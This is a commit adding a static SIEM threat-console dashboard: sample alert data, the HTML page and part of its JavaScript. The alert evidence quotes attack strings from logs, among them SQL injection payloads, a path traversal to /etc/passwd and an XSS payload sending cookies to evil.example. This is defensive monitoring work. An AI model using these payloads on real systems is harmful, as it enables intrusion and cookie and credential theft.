Upload files to "dashboard"
هذا الالتزام موجود في:
348
dashboard/data.js
Normal file
348
dashboard/data.js
Normal file
@@ -0,0 +1,348 @@
|
||||
// Auto-generated by siem_analyzer.py -- do not edit by hand
|
||||
const SIEM_DATA = {
|
||||
"generated_at": "2026-07-29T00:57:48.516747Z",
|
||||
"meta": {
|
||||
"endpoints": [
|
||||
"web-server (endpoint-1)",
|
||||
"firewall (endpoint-2)",
|
||||
"ssh-auth (endpoint-3)"
|
||||
],
|
||||
"lines_parsed": {
|
||||
"web-server (endpoint-1)": 45,
|
||||
"firewall (endpoint-2)": 34,
|
||||
"ssh-auth (endpoint-3)": 27
|
||||
}
|
||||
},
|
||||
"stats": {
|
||||
"total_alerts": 17,
|
||||
"by_severity": {
|
||||
"critical": 9,
|
||||
"high": 5,
|
||||
"medium": 3,
|
||||
"low": 0
|
||||
},
|
||||
"unique_malicious_ips": 4,
|
||||
"total_events_parsed": 106
|
||||
},
|
||||
"alerts": [
|
||||
{
|
||||
"id": "ALT-0012",
|
||||
"timestamp": "2026-07-27T10:07:41",
|
||||
"endpoint": "ssh-auth (endpoint-3)",
|
||||
"src_ip": "198.51.100.234",
|
||||
"alert_type": "BRUTE_FORCE_SSH",
|
||||
"severity": "high",
|
||||
"description": "12 failed SSH login attempts within 300s trying 9 usernames (admin, administrator, backup, guest, oracle, postgres)",
|
||||
"evidence": [
|
||||
"Jul 27 10:07:41 app-srv-05 sshd[10201]: Failed password for invalid user admin from 198.51.100.234 port 39001 ssh2",
|
||||
"Jul 27 10:07:43 app-srv-05 sshd[10202]: Failed password for invalid user admin from 198.51.100.234 port 39002 ssh2",
|
||||
"Jul 27 10:07:45 app-srv-05 sshd[10203]: Failed password for invalid user administrator from 198.51.100.234 port 39003 ssh2",
|
||||
"Jul 27 10:07:47 app-srv-05 sshd[10204]: Failed password for invalid user user from 198.51.100.234 port 39004 ssh2",
|
||||
"Jul 27 10:07:49 app-srv-05 sshd[10205]: Failed password for invalid user guest from 198.51.100.234 port 39005 ssh2"
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0006",
|
||||
"timestamp": "2026-07-27T10:06:11",
|
||||
"endpoint": "web-server (endpoint-1)",
|
||||
"src_ip": "192.0.2.77",
|
||||
"alert_type": "SQL_INJECTION",
|
||||
"severity": "critical",
|
||||
"description": "Sql Injection attempt detected in request to /api/users?id=1'%20OR%20'1'='1",
|
||||
"evidence": [
|
||||
"192.0.2.77 - - [27/Jul/2026:10:06:11 +0000] \"GET /api/users?id=1'%20OR%20'1'='1 HTTP/1.1\" 500 640 \"-\" \"python-requests/2.31\""
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0009",
|
||||
"timestamp": "2026-07-27T10:06:00",
|
||||
"endpoint": "web-server (endpoint-1)",
|
||||
"src_ip": "192.0.2.77",
|
||||
"alert_type": "HIGH_REQUEST_RATE",
|
||||
"severity": "medium",
|
||||
"description": "21 requests from a single IP within 60s (possible scraping/DoS/automation)",
|
||||
"evidence": [
|
||||
"192.0.2.77 - - [27/Jul/2026:10:06:00 +0000] \"GET /api/data?page=1 HTTP/1.1\" 200 1200 \"-\" \"python-requests/2.31\"",
|
||||
"192.0.2.77 - - [27/Jul/2026:10:06:01 +0000] \"GET /api/data?page=2 HTTP/1.1\" 200 1200 \"-\" \"python-requests/2.31\"",
|
||||
"192.0.2.77 - - [27/Jul/2026:10:06:01 +0000] \"GET /api/data?page=3 HTTP/1.1\" 200 1200 \"-\" \"python-requests/2.31\"",
|
||||
"192.0.2.77 - - [27/Jul/2026:10:06:02 +0000] \"GET /api/data?page=4 HTTP/1.1\" 200 1200 \"-\" \"python-requests/2.31\"",
|
||||
"192.0.2.77 - - [27/Jul/2026:10:06:02 +0000] \"GET /api/data?page=5 HTTP/1.1\" 200 1200 \"-\" \"python-requests/2.31\""
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0016",
|
||||
"timestamp": "2026-07-27T10:06:00",
|
||||
"endpoint": "web-server (endpoint-1)",
|
||||
"src_ip": "192.0.2.77",
|
||||
"alert_type": "BLACKLISTED_IP_ACTIVITY",
|
||||
"severity": "critical",
|
||||
"description": "Traffic from known-malicious IP 192.0.2.77: Listed in external threat-intel feed (example seed entry)",
|
||||
"evidence": [
|
||||
"192.0.2.77 - - [27/Jul/2026:10:06:00 +0000] \"GET /api/data?page=1 HTTP/1.1\" 200 1200 \"-\" \"python-requests/2.31\""
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0013",
|
||||
"timestamp": "2026-07-27T10:05:24",
|
||||
"endpoint": "ssh-auth (endpoint-3)",
|
||||
"src_ip": "192.0.2.77",
|
||||
"alert_type": "ACCOUNT_COMPROMISE_SUSPECTED",
|
||||
"severity": "critical",
|
||||
"description": "Successful SSH login as 'root' immediately following a brute-force burst from the same IP -- account may be compromised",
|
||||
"evidence": [
|
||||
"Jul 27 10:05:24 app-srv-05 sshd[10111]: Accepted password for root from 192.0.2.77 port 41011 ssh2"
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0011",
|
||||
"timestamp": "2026-07-27T10:05:12",
|
||||
"endpoint": "ssh-auth (endpoint-3)",
|
||||
"src_ip": "192.0.2.77",
|
||||
"alert_type": "BRUTE_FORCE_SSH",
|
||||
"severity": "high",
|
||||
"description": "10 failed SSH login attempts within 300s trying 7 usernames (admin, deploy, oracle, postgres, root, test)",
|
||||
"evidence": [
|
||||
"Jul 27 10:05:12 app-srv-05 sshd[10101]: Failed password for invalid user admin from 192.0.2.77 port 41001 ssh2",
|
||||
"Jul 27 10:05:13 app-srv-05 sshd[10102]: Failed password for invalid user root from 192.0.2.77 port 41002 ssh2",
|
||||
"Jul 27 10:05:14 app-srv-05 sshd[10103]: Failed password for invalid user test from 192.0.2.77 port 41003 ssh2",
|
||||
"Jul 27 10:05:15 app-srv-05 sshd[10104]: Failed password for invalid user oracle from 192.0.2.77 port 41004 ssh2",
|
||||
"Jul 27 10:05:16 app-srv-05 sshd[10105]: Failed password for invalid user ubuntu from 192.0.2.77 port 41005 ssh2"
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0015",
|
||||
"timestamp": "2026-07-27T10:05:12",
|
||||
"endpoint": "ssh-auth (endpoint-3)",
|
||||
"src_ip": "192.0.2.77",
|
||||
"alert_type": "BLACKLISTED_IP_ACTIVITY",
|
||||
"severity": "critical",
|
||||
"description": "Traffic from known-malicious IP 192.0.2.77: Listed in external threat-intel feed (example seed entry)",
|
||||
"evidence": [
|
||||
"Jul 27 10:05:12 app-srv-05 sshd[10101]: Failed password for invalid user admin from 192.0.2.77 port 41001 ssh2"
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0010",
|
||||
"timestamp": "2026-07-27T10:05:01",
|
||||
"endpoint": "firewall (endpoint-2)",
|
||||
"src_ip": "192.0.2.77",
|
||||
"alert_type": "PORT_SCAN",
|
||||
"severity": "high",
|
||||
"description": "Port scan detected: 20 distinct destination ports probed against 10.0.0.5 within 120s (17 denied, 3 allowed)",
|
||||
"evidence": [
|
||||
"2026-07-27 10:05:01 SRC=192.0.2.77 SPT=33001 DST=10.0.0.5 DPT=20 PROTO=TCP ACTION=DENY",
|
||||
"2026-07-27 10:05:01 SRC=192.0.2.77 SPT=33002 DST=10.0.0.5 DPT=21 PROTO=TCP ACTION=DENY",
|
||||
"2026-07-27 10:05:02 SRC=192.0.2.77 SPT=33003 DST=10.0.0.5 DPT=22 PROTO=TCP ACTION=ALLOW",
|
||||
"2026-07-27 10:05:02 SRC=192.0.2.77 SPT=33004 DST=10.0.0.5 DPT=23 PROTO=TCP ACTION=DENY",
|
||||
"2026-07-27 10:05:03 SRC=192.0.2.77 SPT=33005 DST=10.0.0.5 DPT=25 PROTO=TCP ACTION=DENY"
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0014",
|
||||
"timestamp": "2026-07-27T10:05:01",
|
||||
"endpoint": "firewall (endpoint-2)",
|
||||
"src_ip": "192.0.2.77",
|
||||
"alert_type": "BLACKLISTED_IP_ACTIVITY",
|
||||
"severity": "critical",
|
||||
"description": "Traffic from known-malicious IP 192.0.2.77: Listed in external threat-intel feed (example seed entry)",
|
||||
"evidence": [
|
||||
"2026-07-27 10:05:01 SRC=192.0.2.77 SPT=33001 DST=10.0.0.5 DPT=20 PROTO=TCP ACTION=DENY"
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0017",
|
||||
"timestamp": "2026-07-27T10:05:01",
|
||||
"endpoint": "correlation-engine",
|
||||
"src_ip": "192.0.2.77",
|
||||
"alert_type": "MULTI_VECTOR_ATTACK",
|
||||
"severity": "critical",
|
||||
"description": "IP 192.0.2.77 triggered alerts across 3 different endpoints (firewall (endpoint-2), ssh-auth (endpoint-3), web-server (endpoint-1)) -- consistent with a coordinated, multi-stage attack (recon -> exploitation -> access)",
|
||||
"evidence": []
|
||||
},
|
||||
{
|
||||
"id": "ALT-0008",
|
||||
"timestamp": "2026-07-27T10:03:01",
|
||||
"endpoint": "web-server (endpoint-1)",
|
||||
"src_ip": "203.0.113.99",
|
||||
"alert_type": "RECON_SCANNER",
|
||||
"severity": "medium",
|
||||
"description": "Automated vulnerability scan detected (nikto): 7 probe requests against paths such as /admin, /admin.php, /phpmyadmin/",
|
||||
"evidence": [
|
||||
"203.0.113.99 - - [27/Jul/2026:10:03:01 +0000] \"GET /admin HTTP/1.1\" 404 190 \"-\" \"Mozilla/5.0 (compatible; Nikto/2.5.0)\"",
|
||||
"203.0.113.99 - - [27/Jul/2026:10:03:02 +0000] \"GET /admin.php HTTP/1.1\" 404 190 \"-\" \"Mozilla/5.0 (compatible; Nikto/2.5.0)\"",
|
||||
"203.0.113.99 - - [27/Jul/2026:10:03:03 +0000] \"GET /phpmyadmin/ HTTP/1.1\" 404 190 \"-\" \"Mozilla/5.0 (compatible; Nikto/2.5.0)\"",
|
||||
"203.0.113.99 - - [27/Jul/2026:10:03:04 +0000] \"GET /.env HTTP/1.1\" 404 190 \"-\" \"Mozilla/5.0 (compatible; Nikto/2.5.0)\"",
|
||||
"203.0.113.99 - - [27/Jul/2026:10:03:05 +0000] \"GET /wp-login.php HTTP/1.1\" 404 190 \"-\" \"Mozilla/5.0 (compatible; Nikto/2.5.0)\""
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0005",
|
||||
"timestamp": "2026-07-27T10:01:12",
|
||||
"endpoint": "web-server (endpoint-1)",
|
||||
"src_ip": "203.0.113.66",
|
||||
"alert_type": "PATH_TRAVERSAL",
|
||||
"severity": "high",
|
||||
"description": "Path Traversal attempt detected in request to /download?file=../../../../etc/passwd",
|
||||
"evidence": [
|
||||
"203.0.113.66 - - [27/Jul/2026:10:01:12 +0000] \"GET /download?file=../../../../etc/passwd HTTP/1.1\" 403 210 \"-\" \"sqlmap/1.7.2#stable\""
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0004",
|
||||
"timestamp": "2026-07-27T10:01:09",
|
||||
"endpoint": "web-server (endpoint-1)",
|
||||
"src_ip": "203.0.113.66",
|
||||
"alert_type": "XSS",
|
||||
"severity": "high",
|
||||
"description": "Xss attempt detected in request to /search?q=<script>document.location='http://evil.example/c?'+document.cookie<\/script>",
|
||||
"evidence": [
|
||||
"203.0.113.66 - - [27/Jul/2026:10:01:09 +0000] \"GET /search?q=<script>document.location='http://evil.example/c?'+document.cookie<\/script> HTTP/1.1\" 200 998 \"-\" \"sqlmap/1.7.2#stable\""
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0003",
|
||||
"timestamp": "2026-07-27T10:01:06",
|
||||
"endpoint": "web-server (endpoint-1)",
|
||||
"src_ip": "203.0.113.66",
|
||||
"alert_type": "SQL_INJECTION",
|
||||
"severity": "critical",
|
||||
"description": "Sql Injection attempt detected in request to /products?id=1'%20AND%20SLEEP(5)--",
|
||||
"evidence": [
|
||||
"203.0.113.66 - - [27/Jul/2026:10:01:06 +0000] \"GET /products?id=1'%20AND%20SLEEP(5)-- HTTP/1.1\" 500 812 \"-\" \"sqlmap/1.7.2#stable\""
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0002",
|
||||
"timestamp": "2026-07-27T10:01:04",
|
||||
"endpoint": "web-server (endpoint-1)",
|
||||
"src_ip": "203.0.113.66",
|
||||
"alert_type": "SQL_INJECTION",
|
||||
"severity": "critical",
|
||||
"description": "Sql Injection attempt detected in request to /products?id=1%20UNION%20SELECT%20username,password%20FROM%20users--",
|
||||
"evidence": [
|
||||
"203.0.113.66 - - [27/Jul/2026:10:01:04 +0000] \"GET /products?id=1%20UNION%20SELECT%20username,password%20FROM%20users-- HTTP/1.1\" 500 812 \"-\" \"sqlmap/1.7.2#stable\""
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0001",
|
||||
"timestamp": "2026-07-27T10:01:02",
|
||||
"endpoint": "web-server (endpoint-1)",
|
||||
"src_ip": "203.0.113.66",
|
||||
"alert_type": "SQL_INJECTION",
|
||||
"severity": "critical",
|
||||
"description": "Sql Injection attempt detected in request to /login.php?user=admin'%20OR%20'1'='1'--",
|
||||
"evidence": [
|
||||
"203.0.113.66 - - [27/Jul/2026:10:01:02 +0000] \"GET /login.php?user=admin'%20OR%20'1'='1'-- HTTP/1.1\" 401 512 \"-\" \"sqlmap/1.7.2#stable\""
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0007",
|
||||
"timestamp": "2026-07-27T10:01:02",
|
||||
"endpoint": "web-server (endpoint-1)",
|
||||
"src_ip": "203.0.113.66",
|
||||
"alert_type": "RECON_SCANNER",
|
||||
"severity": "medium",
|
||||
"description": "Automated vulnerability scan detected (sqlmap): 5 probe requests against paths such as /login.php?user=admin'%20OR%20'1'='1'--, /products?id=1%20UNION%20SELECT%20username,password%20FROM%20users--, /products?id=1'%20AND%20SLEEP(5)--",
|
||||
"evidence": [
|
||||
"203.0.113.66 - - [27/Jul/2026:10:01:02 +0000] \"GET /login.php?user=admin'%20OR%20'1'='1'-- HTTP/1.1\" 401 512 \"-\" \"sqlmap/1.7.2#stable\"",
|
||||
"203.0.113.66 - - [27/Jul/2026:10:01:04 +0000] \"GET /products?id=1%20UNION%20SELECT%20username,password%20FROM%20users-- HTTP/1.1\" 500 812 \"-\" \"sqlmap/1.7.2#stable\"",
|
||||
"203.0.113.66 - - [27/Jul/2026:10:01:06 +0000] \"GET /products?id=1'%20AND%20SLEEP(5)-- HTTP/1.1\" 500 812 \"-\" \"sqlmap/1.7.2#stable\"",
|
||||
"203.0.113.66 - - [27/Jul/2026:10:01:09 +0000] \"GET /search?q=<script>document.location='http://evil.example/c?'+document.cookie<\/script> HTTP/1.1\" 200 998 \"-\" \"sqlmap/1.7.2#stable\"",
|
||||
"203.0.113.66 - - [27/Jul/2026:10:01:12 +0000] \"GET /download?file=../../../../etc/passwd HTTP/1.1\" 403 210 \"-\" \"sqlmap/1.7.2#stable\""
|
||||
]
|
||||
}
|
||||
],
|
||||
"malicious_ips": [
|
||||
{
|
||||
"ip": "192.0.2.77",
|
||||
"threat_score": 72,
|
||||
"severity_counts": {
|
||||
"critical": 6,
|
||||
"high": 2,
|
||||
"medium": 1,
|
||||
"low": 0
|
||||
},
|
||||
"total_alerts": 9,
|
||||
"alert_types": [
|
||||
"ACCOUNT_COMPROMISE_SUSPECTED",
|
||||
"BLACKLISTED_IP_ACTIVITY",
|
||||
"BRUTE_FORCE_SSH",
|
||||
"HIGH_REQUEST_RATE",
|
||||
"MULTI_VECTOR_ATTACK",
|
||||
"PORT_SCAN",
|
||||
"SQL_INJECTION"
|
||||
],
|
||||
"endpoints_involved": [
|
||||
"firewall (endpoint-2)",
|
||||
"ssh-auth (endpoint-3)",
|
||||
"web-server (endpoint-1)"
|
||||
],
|
||||
"first_seen": "2026-07-27T10:05:01",
|
||||
"last_seen": "2026-07-27T10:06:11",
|
||||
"known_threat_intel": "Listed in external threat-intel feed (example seed entry)"
|
||||
},
|
||||
{
|
||||
"ip": "203.0.113.66",
|
||||
"threat_score": 42,
|
||||
"severity_counts": {
|
||||
"critical": 3,
|
||||
"high": 2,
|
||||
"medium": 1,
|
||||
"low": 0
|
||||
},
|
||||
"total_alerts": 6,
|
||||
"alert_types": [
|
||||
"PATH_TRAVERSAL",
|
||||
"RECON_SCANNER",
|
||||
"SQL_INJECTION",
|
||||
"XSS"
|
||||
],
|
||||
"endpoints_involved": [
|
||||
"web-server (endpoint-1)"
|
||||
],
|
||||
"first_seen": "2026-07-27T10:01:02",
|
||||
"last_seen": "2026-07-27T10:01:12",
|
||||
"known_threat_intel": null
|
||||
},
|
||||
{
|
||||
"ip": "198.51.100.234",
|
||||
"threat_score": 5,
|
||||
"severity_counts": {
|
||||
"critical": 0,
|
||||
"high": 1,
|
||||
"medium": 0,
|
||||
"low": 0
|
||||
},
|
||||
"total_alerts": 1,
|
||||
"alert_types": [
|
||||
"BRUTE_FORCE_SSH"
|
||||
],
|
||||
"endpoints_involved": [
|
||||
"ssh-auth (endpoint-3)"
|
||||
],
|
||||
"first_seen": "2026-07-27T10:07:41",
|
||||
"last_seen": "2026-07-27T10:07:41",
|
||||
"known_threat_intel": null
|
||||
},
|
||||
{
|
||||
"ip": "203.0.113.99",
|
||||
"threat_score": 2,
|
||||
"severity_counts": {
|
||||
"critical": 0,
|
||||
"high": 0,
|
||||
"medium": 1,
|
||||
"low": 0
|
||||
},
|
||||
"total_alerts": 1,
|
||||
"alert_types": [
|
||||
"RECON_SCANNER"
|
||||
],
|
||||
"endpoints_involved": [
|
||||
"web-server (endpoint-1)"
|
||||
],
|
||||
"first_seen": "2026-07-27T10:03:01",
|
||||
"last_seen": "2026-07-27T10:03:01",
|
||||
"known_threat_intel": null
|
||||
}
|
||||
]
|
||||
};
|
||||
121
dashboard/index.html
Normal file
121
dashboard/index.html
Normal file
@@ -0,0 +1,121 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>SIEM // Threat Console</title>
|
||||
<link rel="stylesheet" href="style.css">
|
||||
</head>
|
||||
<body>
|
||||
<div class="console">
|
||||
|
||||
<header class="console-header">
|
||||
<div class="brand">
|
||||
<div class="brand-mark">
|
||||
<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<circle cx="12" cy="12" r="9.5" stroke="#3FA7FF" stroke-width="1.4"/>
|
||||
<circle cx="12" cy="12" r="5.5" stroke="#3FA7FF" stroke-width="1.1" opacity="0.55"/>
|
||||
<circle cx="12" cy="12" r="1.6" fill="#FF3B4E"/>
|
||||
<line x1="12" y1="12" x2="18.5" y2="8.2" stroke="#FF3B4E" stroke-width="1.4" stroke-linecap="round"/>
|
||||
</svg>
|
||||
</div>
|
||||
<div class="brand-text">
|
||||
<p class="eyebrow">Security Operations</p>
|
||||
<h1>SIEM<span class="slash">/</span>Threat Console</h1>
|
||||
</div>
|
||||
</div>
|
||||
<div class="header-status">
|
||||
<div class="status-item">
|
||||
<span>Status</span>
|
||||
<span class="value live-dot">Monitoring</span>
|
||||
</div>
|
||||
<div class="status-item">
|
||||
<span>Report generated</span>
|
||||
<span class="value" id="generated-at">—</span>
|
||||
</div>
|
||||
<div class="status-item">
|
||||
<span>Endpoints</span>
|
||||
<span class="value" id="endpoint-count">—</span>
|
||||
</div>
|
||||
<button class="btn" id="refresh-btn" title="Reload siem_report.json">↻ Refresh</button>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<section class="stat-grid" id="stat-grid" aria-label="Alert summary"></section>
|
||||
|
||||
<section class="panel-row">
|
||||
<div class="panel">
|
||||
<div class="panel-title">
|
||||
<h2>Threat Radar</h2>
|
||||
<span class="hint">closer = higher score</span>
|
||||
</div>
|
||||
<div class="radar-wrap">
|
||||
<svg id="radar-svg" viewBox="0 0 300 300" width="280" height="280" role="img" aria-label="Radar plot of top malicious IPs"></svg>
|
||||
</div>
|
||||
<div class="radar-legend" id="radar-legend"></div>
|
||||
</div>
|
||||
|
||||
<div class="panel">
|
||||
<div class="panel-title">
|
||||
<h2>Top Malicious IPs</h2>
|
||||
<span class="hint" id="ip-count-hint"></span>
|
||||
</div>
|
||||
<ul class="ip-list" id="ip-list"></ul>
|
||||
|
||||
<div class="sev-meter">
|
||||
<div class="panel-title" style="margin-top:20px;">
|
||||
<h2>Severity Mix</h2>
|
||||
</div>
|
||||
<div class="sev-meter-bar" id="sev-meter-bar"></div>
|
||||
<div class="sev-meter-labels" id="sev-meter-labels"></div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section class="filter-bar">
|
||||
<input type="text" id="search-input" placeholder="Search IP, alert type, or description…" aria-label="Search alerts">
|
||||
<select id="severity-filter" aria-label="Filter by severity">
|
||||
<option value="">All severities</option>
|
||||
<option value="critical">Critical</option>
|
||||
<option value="high">High</option>
|
||||
<option value="medium">Medium</option>
|
||||
<option value="low">Low</option>
|
||||
</select>
|
||||
<select id="endpoint-filter" aria-label="Filter by endpoint">
|
||||
<option value="">All endpoints</option>
|
||||
</select>
|
||||
</section>
|
||||
|
||||
<section class="panel alerts-panel">
|
||||
<div class="panel-title">
|
||||
<h2>Alerts</h2>
|
||||
<span class="hint" id="alert-count-hint"></span>
|
||||
</div>
|
||||
<div class="table-scroll">
|
||||
<table class="alerts">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Time</th>
|
||||
<th>Severity</th>
|
||||
<th>Type</th>
|
||||
<th>Source IP</th>
|
||||
<th>Endpoint</th>
|
||||
<th>Description</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody id="alerts-tbody"></tbody>
|
||||
</table>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<footer class="console-footer">
|
||||
<span>siem_analyzer.py → dashboard · static demo, no backend required</span>
|
||||
<span id="data-source-note">Loading data…</span>
|
||||
</footer>
|
||||
|
||||
</div>
|
||||
|
||||
<script src="data.js"></script>
|
||||
<script src="script.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
361
dashboard/script.js
Normal file
361
dashboard/script.js
Normal file
@@ -0,0 +1,361 @@
|
||||
/* ==========================================================================
|
||||
SIEM Threat Console — dashboard logic
|
||||
Loads siem_report.json (falls back to embedded data.js so the dashboard
|
||||
still works when opened directly via file://), then renders every panel.
|
||||
|
||||
Security note: alert descriptions/evidence are LOG DATA -- they may
|
||||
literally contain attacker-supplied strings like "<script>...". Every
|
||||
place that injects log-derived text into the DOM uses textContent /
|
||||
createElement, never innerHTML, so the console itself can't be XSS'd by
|
||||
the very payloads it's reporting on.
|
||||
========================================================================== */
|
||||
|
||||
const SEVERITY_ORDER = ["critical", "high", "medium", "low"];
|
||||
const SEVERITY_COLOR = {
|
||||
critical: "#FF3B4E",
|
||||
high: "#FF8C42",
|
||||
medium: "#FFD23F",
|
||||
low: "#3FA7FF",
|
||||
};
|
||||
const SEVERITY_CLASS = { critical: "crit", high: "high", medium: "med", low: "low" };
|
||||
|
||||
let REPORT = null;
|
||||
let expandedRowId = null;
|
||||
|
||||
document.addEventListener("DOMContentLoaded", () => {
|
||||
loadData();
|
||||
document.getElementById("refresh-btn").addEventListener("click", loadData);
|
||||
document.getElementById("search-input").addEventListener("input", renderTable);
|
||||
document.getElementById("severity-filter").addEventListener("change", renderTable);
|
||||
document.getElementById("endpoint-filter").addEventListener("change", renderTable);
|
||||
});
|
||||
|
||||
async function loadData() {
|
||||
setSourceNote("loading…");
|
||||
try {
|
||||
const res = await fetch(`siem_report.json?_=${Date.now()}`, { cache: "no-store" });
|
||||
if (!res.ok) throw new Error("fetch failed");
|
||||
REPORT = await res.json();
|
||||
setSourceNote("live: siem_report.json");
|
||||
} catch (err) {
|
||||
if (typeof SIEM_DATA !== "undefined") {
|
||||
REPORT = SIEM_DATA;
|
||||
setSourceNote("embedded data.js (serve over http:// to enable live fetch)");
|
||||
} else {
|
||||
setSourceNote("no data found");
|
||||
return;
|
||||
}
|
||||
}
|
||||
renderAll();
|
||||
}
|
||||
|
||||
function setSourceNote(text) {
|
||||
document.getElementById("data-source-note").textContent = text;
|
||||
}
|
||||
|
||||
function renderAll() {
|
||||
renderHeader();
|
||||
renderStatCards();
|
||||
renderRadar();
|
||||
renderSeverityMeter();
|
||||
renderIpList();
|
||||
populateEndpointFilter();
|
||||
renderTable();
|
||||
}
|
||||
|
||||
/* ---------------------------------------------------------------- header */
|
||||
|
||||
function renderHeader() {
|
||||
const gen = new Date(REPORT.generated_at);
|
||||
document.getElementById("generated-at").textContent = isNaN(gen)
|
||||
? REPORT.generated_at
|
||||
: gen.toLocaleString();
|
||||
document.getElementById("endpoint-count").textContent = REPORT.meta.endpoints.length;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------ stat cards */
|
||||
|
||||
function renderStatCards() {
|
||||
const s = REPORT.stats;
|
||||
const cards = [
|
||||
{ label: "Total Alerts", value: s.total_alerts, cls: "neutral" },
|
||||
{ label: "Critical", value: s.by_severity.critical, cls: "crit" },
|
||||
{ label: "High", value: s.by_severity.high, cls: "high" },
|
||||
{ label: "Medium", value: s.by_severity.medium, cls: "med" },
|
||||
{ label: "Low", value: s.by_severity.low, cls: "low" },
|
||||
{ label: "Malicious IPs", value: s.unique_malicious_ips, cls: "neutral" },
|
||||
];
|
||||
const grid = document.getElementById("stat-grid");
|
||||
grid.textContent = "";
|
||||
cards.forEach((c) => {
|
||||
const card = el("div", { class: `stat-card ${c.cls}` });
|
||||
card.appendChild(el("p", { class: "label", text: c.label }));
|
||||
card.appendChild(el("p", { class: "num", text: String(c.value) }));
|
||||
grid.appendChild(card);
|
||||
});
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------- IP hashing */
|
||||
|
||||
function hashIpToAngle(ip) {
|
||||
let h = 0;
|
||||
for (let i = 0; i < ip.length; i++) h = (h * 31 + ip.charCodeAt(i)) >>> 0;
|
||||
return h % 360;
|
||||
}
|
||||
|
||||
function topSeverityOf(ipInfo) {
|
||||
return SEVERITY_ORDER.find((s) => ipInfo.severity_counts[s] > 0) || "low";
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------ radar */
|
||||
|
||||
const SVG_NS = "http://www.w3.org/2000/svg";
|
||||
function svgEl(tag, attrs) {
|
||||
const node = document.createElementNS(SVG_NS, tag);
|
||||
Object.entries(attrs || {}).forEach(([k, v]) => node.setAttribute(k, v));
|
||||
return node;
|
||||
}
|
||||
|
||||
function renderRadar() {
|
||||
const svg = document.getElementById("radar-svg");
|
||||
svg.textContent = "";
|
||||
const cx = 150, cy = 150;
|
||||
const rings = [40, 75, 110, 140];
|
||||
|
||||
rings.forEach((r) => {
|
||||
svg.appendChild(svgEl("circle", {
|
||||
cx, cy, r, fill: "none", stroke: "#1A2432", "stroke-width": 1,
|
||||
}));
|
||||
});
|
||||
// crosshairs
|
||||
[0, 90, 180, 270].forEach((deg) => {
|
||||
const rad = (deg * Math.PI) / 180;
|
||||
svg.appendChild(svgEl("line", {
|
||||
x1: cx, y1: cy,
|
||||
x2: cx + 140 * Math.cos(rad), y2: cy + 140 * Math.sin(rad),
|
||||
stroke: "#161F2B", "stroke-width": 1,
|
||||
}));
|
||||
});
|
||||
|
||||
// sweep
|
||||
const sweep = svgEl("g", { class: "radar-sweep" });
|
||||
sweep.appendChild(svgEl("line", {
|
||||
x1: cx, y1: cy, x2: cx, y2: cy - 140, stroke: "#3FA7FF", "stroke-width": 1.5, opacity: 0.7,
|
||||
}));
|
||||
const wedge = svgEl("path", {
|
||||
d: `M ${cx} ${cy} L ${cx} ${cy - 140} A 140 140 0 0 1 ${cx + 140 * Math.sin((35 * Math.PI) / 180)} ${cy - 140 * Math.cos((35 * Math.PI) / 180)} Z`,
|
||||
fill: "#3FA7FF", opacity: 0.08,
|
||||
});
|
||||
sweep.appendChild(wedge);
|
||||
svg.appendChild(sweep);
|
||||
|
||||
const ips = REPORT.malicious_ips.slice(0, 8);
|
||||
const maxScore = ips.length ? ips[0].threat_score : 1;
|
||||
|
||||
ips.forEach((info) => {
|
||||
const angle = hashIpToAngle(info.ip);
|
||||
const rad = (angle * Math.PI) / 180;
|
||||
const norm = maxScore > 0 ? info.threat_score / maxScore : 0;
|
||||
const radius = 128 - norm * 95; // higher score -> nearer centre
|
||||
const x = cx + radius * Math.cos(rad);
|
||||
const y = cy + radius * Math.sin(rad);
|
||||
const sev = topSeverityOf(info);
|
||||
const color = SEVERITY_COLOR[sev];
|
||||
|
||||
if (sev === "critical") {
|
||||
svg.appendChild(svgEl("circle", {
|
||||
cx: x, cy: y, r: 10, fill: "none", stroke: color, "stroke-width": 1.2,
|
||||
class: "radar-ping",
|
||||
}));
|
||||
}
|
||||
svg.appendChild(svgEl("circle", { cx: x, cy: y, r: 4.5, fill: color }));
|
||||
|
||||
const label = svgEl("text", {
|
||||
x: x + (Math.cos(rad) >= 0 ? 8 : -8),
|
||||
y: y + 3,
|
||||
fill: "#8592A3",
|
||||
"font-family": "JetBrains Mono, monospace",
|
||||
"font-size": 9,
|
||||
"text-anchor": Math.cos(rad) >= 0 ? "start" : "end",
|
||||
});
|
||||
label.textContent = info.ip;
|
||||
svg.appendChild(label);
|
||||
});
|
||||
|
||||
const legend = document.getElementById("radar-legend");
|
||||
legend.textContent = "";
|
||||
const present = new Set(ips.map(topSeverityOf));
|
||||
SEVERITY_ORDER.filter((s) => present.has(s)).forEach((s) => {
|
||||
const span = el("span");
|
||||
const dot = el("span", { class: "legend-dot" });
|
||||
dot.style.background = SEVERITY_COLOR[s];
|
||||
span.appendChild(dot);
|
||||
